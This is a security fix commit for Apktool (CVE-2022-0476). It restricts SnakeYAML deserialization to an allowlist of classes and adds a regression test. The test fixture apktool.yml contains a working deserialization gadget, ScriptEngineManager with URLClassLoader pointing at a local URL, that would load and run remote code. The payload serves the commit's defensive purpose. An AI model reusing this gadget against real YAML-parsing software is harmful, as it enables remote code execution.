Preventing instantiation of untrusted classes. (#2760 - CVE-2022-0476)

* fix: enforce allowable classes during yaml parsing

* fix: rename class to reference escaping nature of strings

* test: assertion for parsing malicious yaml

brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/ClassSafeConstructor.java

@@ -18,13 +18,38 @@ package brut.androlib.meta;
 
 import org.yaml.snakeyaml.constructor.AbstractConstruct;
 import org.yaml.snakeyaml.constructor.Constructor;
+import org.yaml.snakeyaml.error.YAMLException;
 import org.yaml.snakeyaml.nodes.Node;
 import org.yaml.snakeyaml.nodes.ScalarNode;
 import org.yaml.snakeyaml.nodes.Tag;
+import java.util.ArrayList;
+import java.util.List;
 
-public class StringExConstructor extends Constructor {
+public class ClassSafeConstructor extends Constructor {
-    public StringExConstructor() {
+    protected final List<Class<?>> allowableClasses = new ArrayList<>();
+
+    public ClassSafeConstructor() {
         this.yamlConstructors.put(Tag.STR, new ConstructStringEx());
+
+        this.allowableClasses.add(MetaInfo.class);
+        this.allowableClasses.add(PackageInfo.class);
+        this.allowableClasses.add(UsesFramework.class);
+        this.allowableClasses.add(VersionInfo.class);
+    }
+
+    protected Object newInstance(Node node) {
+        if (this.yamlConstructors.containsKey(node.getTag()) || this.allowableClasses.contains(node.getType())) {
+            return super.newInstance(node);
+        }
+        throw new YAMLException("Invalid Class attempting to be constructed: " + node.getTag());
+    }
+
+    protected Object finalizeConstruction(Node node, Object data) {
+        if (this.yamlConstructors.containsKey(node.getTag()) || this.allowableClasses.contains(node.getType())) {
+            return super.finalizeConstruction(node, data);
+        }
+
+        return this.newInstance(node);
     }
 
     private class ConstructStringEx extends AbstractConstruct {

brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/EscapedStringRepresenter.java

@@ -19,8 +19,8 @@ package brut.androlib.meta;
 import org.yaml.snakeyaml.nodes.Node;
 import org.yaml.snakeyaml.representer.Representer;
 
-public class StringExRepresent extends Representer {
+public class EscapedStringRepresenter extends Representer {
-    public StringExRepresent() {
+    public EscapedStringRepresenter() {
         RepresentStringEx representStringEx = new RepresentStringEx();
         multiRepresenters.put(String.class, representStringEx);
         representers.put(String.class, representStringEx);

brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/MetaInfo.java

@@ -43,11 +43,11 @@ public class MetaInfo {
         DumperOptions options = new DumperOptions();
         options.setDefaultFlowStyle(DumperOptions.FlowStyle.BLOCK);
 
-        StringExRepresent representer = new StringExRepresent();
+        EscapedStringRepresenter representer = new EscapedStringRepresenter();
         PropertyUtils propertyUtils = representer.getPropertyUtils();
         propertyUtils.setSkipMissingProperties(true);
 
-        return new Yaml(new StringExConstructor(), representer, options);
+        return new Yaml(new ClassSafeConstructor(), representer, options);
     }
 
     public void save(Writer output) {

brut.apktool/apktool-lib/src/test/java/brut/androlib/yaml/MaliciousYamlTest.java

@@ -0,0 +1,50 @@
+/*
+ *  Copyright (C) 2010 Ryszard Wiśniewski <brut.alll@gmail.com>
+ *  Copyright (C) 2010 Connor Tumbleson <connor.tumbleson@gmail.com>
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *       https://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+package brut.androlib.yaml;
+
+import brut.androlib.Androlib;
+import brut.androlib.BaseTest;
+import brut.androlib.TestUtils;
+import brut.androlib.options.BuildOptions;
+import brut.common.BrutException;
+import brut.directory.ExtFile;
+import brut.util.OS;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.yaml.snakeyaml.constructor.ConstructorException;
+
+import java.io.File;
+
+public class MaliciousYamlTest extends BaseTest {
+
+    @BeforeClass
+    public static void beforeClass() throws Exception {
+        TestUtils.cleanFrameworkFile();
+
+        sTmpDir = new ExtFile(OS.createTempDirectory());
+        sTestNewDir = new ExtFile(sTmpDir, "cve20220476");
+        LOGGER.info("Unpacking cve20220476...");
+        TestUtils.copyResourceDir(MaliciousYamlTest.class, "yaml/cve20220476/", sTestNewDir);
+    }
+
+    @Test(expected = ConstructorException.class)
+    public void testMaliciousYamlNotLoaded() throws BrutException {
+        BuildOptions buildOptions = new BuildOptions();
+        File testApk = new File(sTmpDir, "cve20220476.apk");
+        new Androlib(buildOptions).build(sTestNewDir, testApk);
+    }
+}

brut.apktool/apktool-lib/src/test/resources/yaml/cve20220476/AndroidManifest.xml

@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.ibotpeaches.cve20220476" platformBuildVersionCode="30" platformBuildVersionName="11">
+    <application android:debuggable="true" android:forceQueryable="true">
+    </application>
+</manifest>

brut.apktool/apktool-lib/src/test/resources/yaml/cve20220476/apktool.yml

@@ -0,0 +1,23 @@
+!!brut.androlib.meta.MetaInfo
+apkFileName: cve20220476.apk
+compressionType: false
+some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://127.0.0.1:8000"]]]]
+doNotCompress:
+- resources.arsc
+isFrameworkApk: false
+packageInfo:
+  forcedPackageId: '127'
+  renameManifestPackage: null
+sdkInfo:
+  minSdkVersion: '25'
+  targetSdkVersion: '30'
+sharedLibrary: false
+sparseResources: false
+usesFramework:
+  ids:
+  - 1
+  tag: null
+version: 2.6.1-ddc4bb-SNAPSHOT
+versionInfo:
+  versionCode: null
+  versionName: null